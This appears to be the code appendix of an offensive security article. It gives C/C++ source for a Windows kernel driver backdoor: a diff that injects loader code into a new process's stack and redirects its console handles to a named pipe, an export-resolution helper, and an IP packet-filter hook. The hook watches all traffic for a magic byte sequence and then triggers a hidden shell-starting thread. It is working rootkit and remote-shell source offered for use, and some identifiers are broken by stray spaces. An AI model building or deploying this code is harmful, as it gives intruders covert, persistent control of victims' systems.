----[ 6.5 - NebbetCreateProcess.diff
268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
> IN DWORD nStdHandle,
> IN HANDLE hHandle
> );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
> IN LPCWSTR lpFileName,
> IN DWORD dwDesiredAccess,
> IN DWORD dwShareMode,
> IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
> IN DWORD dwCreationDisposition,
> IN DWORD dwFlagsAndAttributes,
> IN HANDLE hTemplateFile
> );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
> VOID
> );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
> wchar_t PipeName[PIPE_NAME_MAX];
> //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
> f_SetStdHandle pSetStdHandle;
> f_CreateFileW pCreateFileW;
> f_EntryPoint EntryPoint;
> #ifdef _DEBUG
> f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
> HANDLE hPipe;
>
> __asm int 3;
> hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
> GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
> 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
> NULL,
> OPEN_EXISTING,
> 0/*FILE_ATTRIBUTE_NORMAL*/,
> NULL);
> embedded_data->pGetLastError();
> /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
> hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
> GENERIC_WRITE | SYNCHRONIZE,
> FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
> NULL,
> OPEN_EXISTING,
> 0,
> NULL);
> embedded_data->pGetLastError();
> if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_ HANDLE_VALUE)) */
> if (hPipe!=INVALID_HANDLE_VALUE)
> {
> embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
> }
> embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
> s_data2embed data2embed;
> PVOID pKERNEL32;
> NT::UNICODE_STRING ModuleFileName;
>
> _asm int 3;
>
> *pCode = 0;
> *pNewStack = 0;
> NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
> LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
> if (!pKERNEL32) return;
> data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc( pKERNEL32, "SetStdHandle");
> data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pK ERNEL32, "CreateFileW");
> #ifdef _DEBUG
> data2embed.pGetLastError=(f_GetLastError)FindFunc( pKERNEL32, "GetLastError");
> #endif
> if ((!data2embed.pSetStdHandle)||(!data2embed.pCreate FileW)) return;
> data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
> wcscpy(data2embed.PipeName, PipeName);
> //wcscpy(data2embed.WPipeName, WPipeName);
> char* p = (char*)pStack - sizeof_code2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return;
> *pCode = (ULONG)p;
>
> p -= sizeof s_data2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return;
>
> PVOID pData = (PVOID)p;
> p -= sizeof pData;
> if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>
> p -= 4;
> *pNewStack = (ULONG)p;
> }
>
317a434,437
> ULONG newEIP, NewStack;
> redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack);
> if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
< context.Esp = ULONG(stack.ExpandableStackBase) - 4;
< context.Eip = ULONG(sii.EntryPoint);
---
> //loader code is on the stack
> context.Esp = NewStack;
> context.Eip = newEIP;
----[ 6.6 - NtdllDynamicLoader.cpp
#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"
//Example A.2 from Nebbet's book
//Search loaded module by name
PVOID FindModule(char *module)
{
ULONG n;
//Request necessary size of buffer
NT::ZwQuerySystemInformation(NT::SystemModuleInfor mation,
&n, 0, &n);
//Allocate memory for n structures
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*size of(*q));
//Request information about modules
NT::ZwQuerySystemInformation(NT::SystemModuleInfor mation,
q, n * sizeof *q, 0);
//Module counter located at address q, information begins at q+1
NT::PSYSTEM_MODULE_INFORMATION p
= NT::PSYSTEM_MODULE_INFORMATION(q + 1);
PVOID ntdll = 0;
//Cycle for each module ...
for (ULONG i = 0; i < *q; i++)
{
//...compare it's name with looked for...
if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
module) == 0)
{
//...and stop if module found
ntdll = p[i].Base;
break;
}
}
//Free memory
NT::ExFreePool(q);
return ntdll;
}
PVOID FindNT()
{
return FindModule("ntdll.dll");
}
//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
//At addrress Base there is DOS EXE header
PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
//Extract offset of PE-header from it
PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
//Evaluate pointer to section table,
//according to directory of exported functions
PIMAGE_DATA_DIRECTORY expdir
= nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//Extract address and size of that table
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;
//Evaluate pointers:
// - to directory of exported functions
PIMAGE_EXPORT_DIRECTORY exports
= PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
// - to table of addresses
PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
// - to table of ordinals
PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
// - to table of names
PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames);
//Cycle through table of names ...
for (ULONG i = 0; i < exports->NumberOfNames; i++) {
//Ordinal that matches name is index in the table of addresses
ULONG ord = ordinals[i];
//Test is the address correct
if (functions[ord] < addr || functions[ord] >= addr + size) {
//If function name matches looked for...
if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
//then return it's address
return PCHAR(Base) + functions[ord];
}
}
//Function not found
return 0;
}
----[ 6.7 - Filtering.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"
NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName
);
}
extern PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
);
NTSTATUS globalresult;
PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject;
KEVENT Event;
NTSTATUS SutdownFiltering()
{
if ((pDeviceObject)&&(pFileObject))
{
globalresult=SetupFiltering(NULL);
ObDereferenceObject(pFileObject);
return globalresult;
}
else return STATUS_SUCCESS;
}
NTSTATUS InitFiltering()
{
UNICODE_STRING FiltDrvName;
UNICODE_STRING DSN={0};
//_asm int 3;
RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFI LTERDRIVER");
pDeviceObject=NULL;
retry:
IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE| GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceOb ject);
if ((!pDeviceObject)&&(!DSN.Length))
{
RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\S ystem\\CurrentControlSet\\Services\\IpFilterDriver ");
ZwLoadDriver(&DSN);
goto retry;
}
if (pDeviceObject)
{
KeInitializeEvent(&Event,NotificationEvent,FALSE);
return SetupFiltering(&PacketFilter);
} else return STATUS_OBJECT_NAME_NOT_FOUND;
}
NTSTATUS SetupFiltering(void *PacketFilterProc)
{
IO_STATUS_BLOCK iostb;
LARGE_INTEGER Timeout;
PIRP pirp = NULL;
//_asm int 3;
pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSI ON_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_I NFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK _INFO),NULL,0,FALSE,&Event,&iostb);
if (!pirp)
{
return STATUS_UNSUCCESSFUL;
}
globalresult=IoCallDriver(pDeviceObject,pirp);
if (globalresult == STATUS_PENDING)
{
Timeout.QuadPart=100000000;
if (KeWaitForSingleObject(&Event,Executive,KernelMode ,FALSE,&Timeout)!=STATUS_SUCCESS)
return STATUS_UNSUCCESSFUL;
globalresult = pirp->IoStatus.Status;
}
return globalresult;
}
----[ 6.8 - MPFD_main.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}
extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;
unsigned char * __cdecl memfind(
const unsigned char * str1,
unsigned int n1,
const unsigned char * str2,
unsigned int n2
)
{
if (n2>n1) return NULL;
unsigned char *cp = (unsigned char *) str1;
unsigned char *s1, *s2;
unsigned int x;
for (unsigned int i=0;i<=n1-n2;i++)
{
s1 = cp;
s2 = (unsigned char *) str2;
x=n2;
while (x && !(*s1-*s2) )
s1++, s2++, x--;
if (!x) return(cp);
cp++;
}
return(NULL);
}
unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C \x8C\x31\xE1\xD6";
PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
)
{
if (memfind(Packet,PacketLength,keyword,sizeof(keywor d)))
{
HANDLE ThreadHandle;
KeSetEvent(&StartShellEvent, 0, FALSE);
}
return PF_PASS;
}
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
#if (DBG)
DbgPrint("MPFD: OnUnload called\n");
#endif
PVOID ThreadObj;
SutdownFiltering();
if (hShellStarterTread)
{
Terminating=TRUE;
ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL);
KeSetEvent(&StartShellEvent, 0, TRUE);
KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);
}
}
#pragma code_seg("INIT")
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
#if (DBG)
DbgPrint("MPFD:In DriverEntry\n");
#endif
UNREFERENCED_PARAMETER(RegistryPath);
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = OnStubDispatch;
}
DriverObject->DriverUnload = OnUnload;
status=InitFiltering();
if (status!=STATUS_SUCCESS) return status;
KeInitializeEvent(&StartShellEvent,Synchronization Event,FALSE);
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
return status;
}

Rest In Part VI